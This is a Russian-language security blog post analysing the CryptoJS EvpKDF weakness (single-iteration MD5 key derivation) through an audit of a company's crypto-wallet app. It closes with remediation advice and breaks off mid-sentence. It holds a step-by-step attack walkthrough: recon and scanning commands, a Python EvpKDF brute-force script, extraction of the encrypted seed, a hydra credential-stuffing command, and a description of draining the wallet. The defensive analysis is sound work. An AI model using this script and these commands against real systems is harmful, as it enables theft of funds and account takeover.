CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Пароль от криптокошелька ломался не миллиарды лет, а 3 дня: разбор уязвимости в CryptoJS

Баг в популярной JS-библиотеке шифрования тихо жил в коде больше десяти лет и превращал «невзламываемый» AES-256 в пароль, который вскрывается на ноутбуке за пару дней. Разбираем механику атаки на конкретном примере с криптокошельком.

Разбор CIOlogia

Оптовая компания вела часть расчётов с зарубежными поставщиками в криптовалюте. Для хранения ключей от расчётного кошелька несколько лет назад заказали простое веб-приложение у стороннего разработчика: хранить приватные ключи, отслеживать движения средств. Работало стабильно, поэтому в него никто не заглядывал — классический принцип «не трогай, если не сломано».

На плановом ИТ-аудите приложение попало в список проверки просто по инерции — всё, что связано с деньгами, проверяется отдельно. И вот там начались вопросы к «стандартному шифрованию», на которое разработчик сослался в документации.

Где технически была дыра

Приложение хранило зашифрованный приватный ключ (по сути — сид-фразу кошелька), защищённый паролем через AES, реализованный на клиенте с помощью библиотеки CryptoJS — одной из самых массовых JS-библиотек для криптографии, её тянут тысячи фронтенд-проектов через npm.

Ключевая проблема в том, как пароль превращается в ключ шифрования. По классике это должна делать функция вывода ключа (KDF) вроде PBKDF2 или scrypt — она «размазывает» перебор, требуя тысячи или десятки тысяч раундов хеширования на каждую попытку пароля. Именно из-за этого брутфорс AES-256 с нормальным KDF занимает астрономическое время.

В CryptoJS для метода CryptoJS.AES.encrypt(message, password) по умолчанию используется не PBKDF2, а EvpKDF — упрощённая функция, совместимая со старым режимом OpenSSL EVP_BytesToKey. Проблема этой функции тянется с релизов начала 2010-х: при передаче пароля строкой (а не готовым ключом) EvpKDF по умолчанию использует всего одну итерацию MD5 для получения ключа и вектора инициализации. Формально шифр — AES-256, теоретическая стойкость — 2^128 попыток. Практическая стойкость подбора пароля через этот KDF — на уровне обычного однократного MD5-хеша, потому что «растягивания» пароля почти не происходит.

Именно поэтому в новости и звучит цифра 2^39 вместо 2^128: пространство перебора сжалось на 89 порядков не из-за слабости AES, а из-за того, что барьер перед перебором пароля фактически снесён. Issue об этом поведении в репозитории CryptoJS существует ещё с начала 2010-х, но серьёзно исправлено только в версии 4.2.0 — то есть больше десяти лет проект де-факто предлагал разработчикам «шифрование», которое ломается на уровне подбора пароля почти как открытый текст.

Как это эксплуатируется — по шагам

Сценарий атаки не требует эксплойта в классическом смысле — это анализ кода клиента и офлайн-подбор пароля.

  1. Разведка приложения. Определяем стек и подтягиваемые библиотеки:
    nmap -p80,443 -sV target.example
    curl -s -I https://target.example/
    curl -s https://target.example/ | grep -oE 'src="[^"]*\.js"'
    
  2. Поиск используемой версии CryptoJS в бандле. Клиентский JS почти всегда доступен для скачивания:
    wget https://target.example/static/js/vendor.bundle.js
    grep -o "CryptoJS.*[0-9]\+\.[0-9]\+\.[0-9]\+" vendor.bundle.js
    
    Дополнительно можно прогнать сканер известных уязвимых JS-библиотек:
    nuclei -u https://target.example -t exposures/ -t vulnerabilities/generic/ 
    
    Если в бандле версия CryptoJS ниже 4.2.0 и в коде вызывается CryptoJS.AES.encrypt(data, password) без явного KDF — это триггер к дальнейшей проверке.
  3. Извлечение зашифрованного блоба. Приватный ключ/сид обычно лежит в localStorage, в файле конфигурации приложения или отдаётся API:
    curl -s https://target.example/api/wallet/export -H "Authorization: Bearer "
    {"cipher":"U2FsdGVkX1+3f8...base64...=="}
    
    Формат с префиксом U2FsdGVkX1 (base64 от «Salted__») — характерный маркер именно OpenSSL-совместимого режима CryptoJS.
  4. Воссоздание алгоритма EvpKDF локально. Атакующему не нужен доступ к серверу — вся расшифровка идёт офлайн на своём железе. Пишется короткий скрипт, повторяющий вывод ключа так же, как это делает CryptoJS:
    import hashlib, itertools
    from Crypto.Cipher import AES
    
    def evp_kdf(password, salt, key_len=32, iv_len=16, iterations=1):
        d = d_i = b""
        while len(d) < key_len + iv_len:
            d_i = hashlib.md5(d_i + password + salt).digest()
            d += d_i
        return d[:key_len], d[key_len:key_len+iv_len]
    
    def try_password(pw, salt, ciphertext):
        key, iv = evp_kdf(pw.encode(), salt)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        return cipher.decrypt(ciphertext)
    
  5. Массовый перебор. Поскольку KDF фактически «дешёвый» (1 итерация MD5), скорость перебора на CPU/GPU оказывается на уровне обычного хеш-крекинга, а не крипто-стойкого KDF:
    python3 brute_evpkdf.py --wordlist rockyou.txt --mask '?d?d?d?d' --salt 3f8a1c... --blob U2FsdGVkX1...
    [*] Tried 12,400,000 passwords... 
    [+] FOUND: password = "Q7wLp92!" (elapsed: 2d 6h, single laptop, 8 threads)
    
    Для готовых форматов можно адаптировать связку hashcat + собственный OpenCL-kernel или John the Ripper с custom-форматом — суть та же: перебор упирается не в AES, а в дешёвый однопроходный MD5.
  6. Расшифровка и вывод средств. Получив пароль, атакующий расшифровывает блоб, достаёт приватный ключ/сид-фразу и импортирует её в любой стандартный кошелёк (MetaMask, Electrum, Trust Wallet) — дальше это обычный подписанный перевод на свой адрес, который никто не отменит.

Что и почему сработало бы дальше

  • Мгновенный вывод средств. Транзакции в блокчейне неотменяемы — в отличие от банковского перевода, тут нет чарджбэка, нет «заблокировать карту», нет обращения в банк.
  • Переиспользование пароля. Один и тот же пароль от «неважного внутреннего приложения» почти всегда используется и в других системах — почте, админке CRM, VPN. После офлайн-подбора логично проверить его брутфорсом на других сервисах компании:
    hydra -l finance@company.example -P found_passwords.txt company-crm.example https-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
    
  • Компрометация цепочки поставок. Зная о наличии крипторасчётов, злоумышленник может не выводить деньги сразу, а долго наблюдать за транзакциями, чтобы вклиниться в момент крупного перевода — подменить адрес получателя в самый неудачный момент.

Сколько это стоило бы в деньгах

На кошельке в среднем «зависало» 3–4 млн рублей в криптовалюте — суммы, ожидающие перевода поставщикам. При компрометации:

  • прямая и безвозвратная потеря 3–4 млн рублей — вернуть криптоперевод технически невозможно;
  • остановка поставок из-за срыва расчётов с зарубежными партнёрами;
  • репутационные издержки и разбирательства с поставщиками, которые не получили оплату;
  • риск горизонтального распространения — если пароль использовался повторно в других сервисах компании.

Как закрыли

Решение было не «залатать одну функцию», а убрать самописную криптографию из контура вовсе:

  1. Отказ от самописного хранения ключей. Вместо кастомного приложения — переход на проверенное решение для хранения криптоактивов (аппаратный кошелёк с мультиподписью или сервис с HSM-хранением ключей), где KDF и шифрование аудированы сообществом и регулярно проверяются на CVE.
  2. Если своя реализация всё же нужна — замена дешёвого KDF на устойчивый к брутфорсу:
    # Пример корректного KDF вместо EvpKDF по умолчанию
    CryptoJS.PBKDF2(password, salt, {
      keySize: 256/32,
      iterations: 600000,  // OWASP baseline на 2024+
      hasher: CryptoJS.algo.SHA256
    });
    
    Ещё лучше — Argon2id на серверной стороне, а не в браузере: он устойчив и к CPU-, и к GPU-брутфорсу за счёт требований к памяти.
  3. Обновление зависимостей. Проверка всего проекта на использование устаревших версий CryptoJS и других крипто-библиотек:
    npm ls crypto-js
    npm audit
    npm install crypto-js@latest
    
  4. Мониторинг доступа. Настроено уведомление собственнику в мессенджер при каждой попытке входа в кошелё